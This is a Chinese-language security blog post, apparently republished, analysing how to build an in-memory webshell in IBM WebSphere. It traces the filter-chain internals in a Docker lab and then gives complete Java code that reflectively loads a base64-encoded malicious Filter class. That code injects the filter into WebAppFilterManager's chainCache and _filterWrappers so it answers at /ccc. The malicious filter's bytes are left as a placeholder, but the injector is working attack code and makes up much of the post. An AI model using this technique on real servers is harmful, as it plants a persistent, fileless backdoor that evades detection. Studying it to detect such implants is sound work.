WebSphere内存马分析
2023-3-11 21:11:0 Author: xz.aliyun.com(查看原文) 阅读量:39 收藏

目录

环境部署

docker部署环境

docker pull ibmcom/websphere-traditional

docker run --name websphere -h websphere -e UPDATE_HOME=true -p 9043:9043  -p 9443:9443 -p 7777:7777 --restart=always -d ibmcom/websphere-traditional

docker exec -it websphere cat /tmp/PASSWORD

9043端口

9443端口

7777端口

/tmp/PASSWORD:控制台登录密码账号:wsadmin

登录后台: https://ip:9043/ibm/console

进入后台

设置websphere为Debug模式

绑定端口

编写DemoFilter和DemoServlet,配置项目的web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <filter>
        <filter-name>TestFilter</filter-name>
        <filter-class>TestFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>TestFilter</filter-name>
        <url-pattern>/test</url-pattern>
    </filter-mapping>

    <servlet>
        <servlet-name>TestServlet</servlet-name>
        <servlet-class>TestServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>TestServlet</servlet-name>
        <url-pattern>/test</url-pattern>
    </servlet-mapping>
</web-app>

生成war包

将war包导入服务器中

分析Filter

在Servlet 中打下断点,观察调用栈,通过调用栈观察是哪里调用了TestFilter.

com.ibm.ws.webcontainer.filter.FilterInstanceWrapper中调用了TestFilter

this._filterInstance是构造方法FilterInstanceWrapper传入的参数获取的。那么观察哪里实例化了一个FilterInstanceWrapper对象。

继续观察调用栈,可以看到在com.ibm.ws.webcontainer.filter.WebAppFilterChain中通过(FilterInstanceWrapper)this._filters.get(this._currentFilterIndex)实例化FilterInstanceWrapper,那么继续观察this._filters是如何生成的。

com.ibm.ws.webcontainer.filter.WebAppFilterChain中看到_filters为new ArrayList()

并且在com.ibm.ws.webcontainer.filter.WebAppFilterChain中看到addFilter方法,该方法中调用了this._filters.add(fiw),其中fiw为FilterInstanceWrapper类型在这个地方打下断点,重新调试,观察哪里调用了该方法,了解是怎么生成WebAppFilterChain._filters

com.ibm.ws.webcontainer.filter.WebAppFilterManager中的getFilterChain()方法,调用了WebAppFilterChainaddFilter

关注该方法中的以下代码。

newChain.addFilter(this.getFilterInstanceWrapper((String)filterNames.get(i)));

其中this.getFilterInstanceWrapper((String)filterNames.get(i))

这里有两个需要关注的地方,this.getFilterInstanceWrapper()(String)filterNames.get(i)

首先是(String)filterNames.get(i)。可以看到其实filternames实际上来自于this.getFilterChainContents

跟进getFilterChainContents观察,可以看到fcc来自于com.ibm.ws.webcontainer.filter.WebAppFilterManager对象中的chainCache变量

接着是this.getFilterInstanceWrapper(),这里就是com.ibm.ws.webcontainer.filter.WebAppFilterManager::getFilterInstanceWrapper()

通过filtername来获取当前WebAppFilterManager对象中的FilterInstanceWrapper对象

构造内存马的思路:

1、获取到WebAppFilterManager对象

2、实例化恶意Filter相关的FilterChainContents,添加到WebAppFilterManager.chainCache

3、实例化恶意Filter相关的FilterInstanceWrapper,添加到WebAppFilterManager._filterWrappers

编写内存马

1、获取到WebAppFilterManager对象

在当前线程中寻找上下文。

从当前线程中获取currentThreadsIExtendedRequest,通过调用getServletContext(),获取上下文。在上下文中可以获取到当前线程的WebAppFilterManager对象filterManager

private static WebAppImpl context;

    private static synchronized void GetWebContent() throws Exception{
        try {
            Object[] wsThreadLocals = (Object[]) GetField(Thread.currentThread(),"wsThreadLocals");
            for (int i = 0; i < wsThreadLocals.length; i++) {
                if(wsThreadLocals[i] != null &&wsThreadLocals[i].getClass().getName().contains("WebContainerRequestState") ){
                    currentThreadsIExtendedRequest = (SRTServletRequest) GetField(wsThreadLocals[i],"currentThreadsIExtendedRequest");
                }
            }
            ServletContext servletContext = currentThreadsIExtendedRequest.getServletContext();
            System.out.println("Step 1");

            context = (WebAppImpl)GetField(servletContext,"context");
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    private static synchronized Object GetField(Object o, String k) throws Exception{
        Field f;
        try {
            f = o.getClass().getDeclaredField(k);
        } catch (NoSuchFieldException e) {
            try{
                f = o.getClass().getSuperclass().getDeclaredField(k);
            }catch (Exception e1){
                f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
            }
        }
        f.setAccessible(true);
        return f.get(o);
    }

接着从web上下文中获取到filterManager

private static synchronized void InjectFilter() throws Exception {
        try {
            if(context!=null){
                filterManager = (WebAppFilterManagerImpl) GetField(context,"filterManager");
                ....

2、实例化恶意Filter相关的FilterChainContents......

从filterManager中获取到当前线程的chainCache,通过反射实例化一个FilterChainContents,对照TestFilter的FilterChainContents,去构造恶意Filter相关的FilterChainContents

private static synchronized void InjectFilter() throws Exception {
        try {
            if(context!=null){
                filterManager = (WebAppFilterManagerImpl) GetField(context,"filterManager");

                chainCache = (Map<String, Object>) GetField(filterManager,"chainCache");
                Constructor constructor = Class.forName("com.ibm.ws.webcontainer.filter.FilterChainContents").getDeclaredConstructor();
                constructor.setAccessible(true);
                Object filterChainContents = constructor.newInstance();

                //Step1
                ArrayList _filterNames= (ArrayList) GetField(filterChainContents,"_filterNames");
                _filterNames.add(filterName);
                SetField(filterChainContents,"_hasFilters",true);
                chainCache.put(url,filterChainContents);

3、实例化恶意Filter相关的FilterInstanceWrapper......

对照TestFilter的FilterInstanceWrapper,构造恶意Filter相关的FilterInstanceWrapper

从当前filterManager对象中获取到_filterWrappers,直接通过New FilterInstanceWrapper()实例化一个新的FilterInstanceWrapper

这里有几个我认为需要注意的地方。

1、实例化FilterInstanceWrapper时,需要传入的参数为ManagedObject<Filter>类型

而在早版本的websphere中是filter类型的参数

所以这里需要进行一个类型转换。

2、_filtersDefined设置为true的原因是因为这里对_filtersDefined进行判断。

3、_filterState 设置为 2 的原因是因为这里对_filterState==2进行校验了

4、完整代码

为了方便调试,直接在Sevlet的Get请求中编写内存马加载过程。

import com.ibm.ws.managedobject.ManagedObject;
import com.ibm.ws.managedobject.ManagedObjectContext;
import com.ibm.ws.webcontainer.cdi.WCManagedObject;
import com.ibm.ws.webcontainer.filter.FilterConfig;
import com.ibm.ws.webcontainer.filter.FilterInstanceWrapper;
import com.ibm.ws.webcontainer.filter.WebAppFilterManagerImpl;
import com.ibm.ws.webcontainer.srt.SRTServletRequest;
import com.ibm.ws.webcontainer.webapp.WebAppEventSource;
import com.ibm.ws.webcontainer.webapp.WebAppImpl;
import com.ibm.wsspi.webcontainer.webapp.WebAppConfig;

import sun.misc.BASE64Decoder;

import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;

public class TestServlet extends HttpServlet {
    @Override
    public void init(ServletConfig servletConfig) throws ServletException {

    }

    private static String filterName = "HFilter";
    private static String filterClassName = "com.sso.HFilter";
    private static String url = "/ccc";
    private static SRTServletRequest currentThreadsIExtendedRequest = null;
    private static WebAppImpl context;
    private static WebAppFilterManagerImpl filterManager= null;
    private static Map<String, Object> chainCache = null;
    private static Hashtable<String, FilterInstanceWrapper> _filterWrappers;



    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.getWriter().println("This is Http");
        try {
            LoadFilter();
            GetWebContent();
            InjectFilter();
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

    private static synchronized void LoadFilter() throws Exception {
        try{
            Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
        }catch (Exception e){
            Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
            a.setAccessible(true);
            byte[] b = (new BASE64Decoder()).decodeBuffer("恶意Filter.class | base64");
            a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
        }
    }

    private static synchronized void GetWebContent() throws Exception{
        try {
            Object[] wsThreadLocals = (Object[]) GetField(Thread.currentThread(),"wsThreadLocals");
            for (int i = 0; i < wsThreadLocals.length; i++) {
                if(wsThreadLocals[i] != null &&wsThreadLocals[i].getClass().getName().contains("WebContainerRequestState") ){
                    currentThreadsIExtendedRequest = (SRTServletRequest) GetField(wsThreadLocals[i],"currentThreadsIExtendedRequest");
                }
            }
            ServletContext servletContext = currentThreadsIExtendedRequest.getServletContext();
            System.out.println("Step 1");

            context = (WebAppImpl)GetField(servletContext,"context");
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    private static synchronized Object GetField(Object o, String k) throws Exception{
        Field f;
        try {
            f = o.getClass().getDeclaredField(k);
        } catch (NoSuchFieldException e) {
            try{
                f = o.getClass().getSuperclass().getDeclaredField(k);
            }catch (Exception e1){
                f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
            }
        }
        f.setAccessible(true);
        return f.get(o);
    }


    public TestServlet() {
    }

    private static synchronized void InjectFilter() throws Exception {
        try {
            if(context!=null){
                filterManager = (WebAppFilterManagerImpl) GetField(context,"filterManager");

                chainCache = (Map<String, Object>) GetField(filterManager,"chainCache");
                Constructor constructor = Class.forName("com.ibm.ws.webcontainer.filter.FilterChainContents").getDeclaredConstructor();
                constructor.setAccessible(true);
                Object filterChainContents = constructor.newInstance();

                //Step1
                ArrayList _filterNames= (ArrayList) GetField(filterChainContents,"_filterNames");
                _filterNames.add(filterName);
                SetField(filterChainContents,"_hasFilters",true);
                chainCache.put(url,filterChainContents);

                //Step2
                _filterWrappers = (Hashtable<String, FilterInstanceWrapper>) GetField(filterManager,"_filterWrappers");
                javax.servlet.Filter filter =  (Filter) Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
                WebAppEventSource _evtSource = (WebAppEventSource) GetField(filterManager,"_evtSource");

                ManagedObject filterMo = context.createManagedObject(filter);
                FilterInstanceWrapper filterInstanceWrapper = new FilterInstanceWrapper(filterName,filterMo,_evtSource);

                SetField(filterInstanceWrapper,"_filterState",2);

                Object webAppConfig = GetField(filterManager,"webAppConfig");
                FilterConfig filterConfig = new FilterConfig(filterName,(WebAppConfig) webAppConfig);

                HashSet<DispatcherType> set = new HashSet();
                set.add(DispatcherType.REQUEST);
                filterConfig.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST),true,url);

                SetField(filterInstanceWrapper,"_filterConfig",filterConfig);

                _filterWrappers.put(filterName,filterInstanceWrapper);

                SetField(filterManager,"_filtersDefined",true);
                System.out.println("123");

            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    private static synchronized void SetField(Object o, String k,Object v) throws Exception{
        Field f;
        try{
            f = o.getClass().getDeclaredField(k);
        }catch (NoSuchFieldException e){
            f = o.getClass().getSuperclass().getDeclaredField(k);
        }catch (Exception e1){
            f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
        }
        f.setAccessible(true);
        f.set(o,v);
    }



    @Override
    public void destroy() {

    }


}

后话

如分析有不对之处,望斧正~~


文章来源: https://xz.aliyun.com/t/12278
如有侵权请联系:admin#unsafe.sh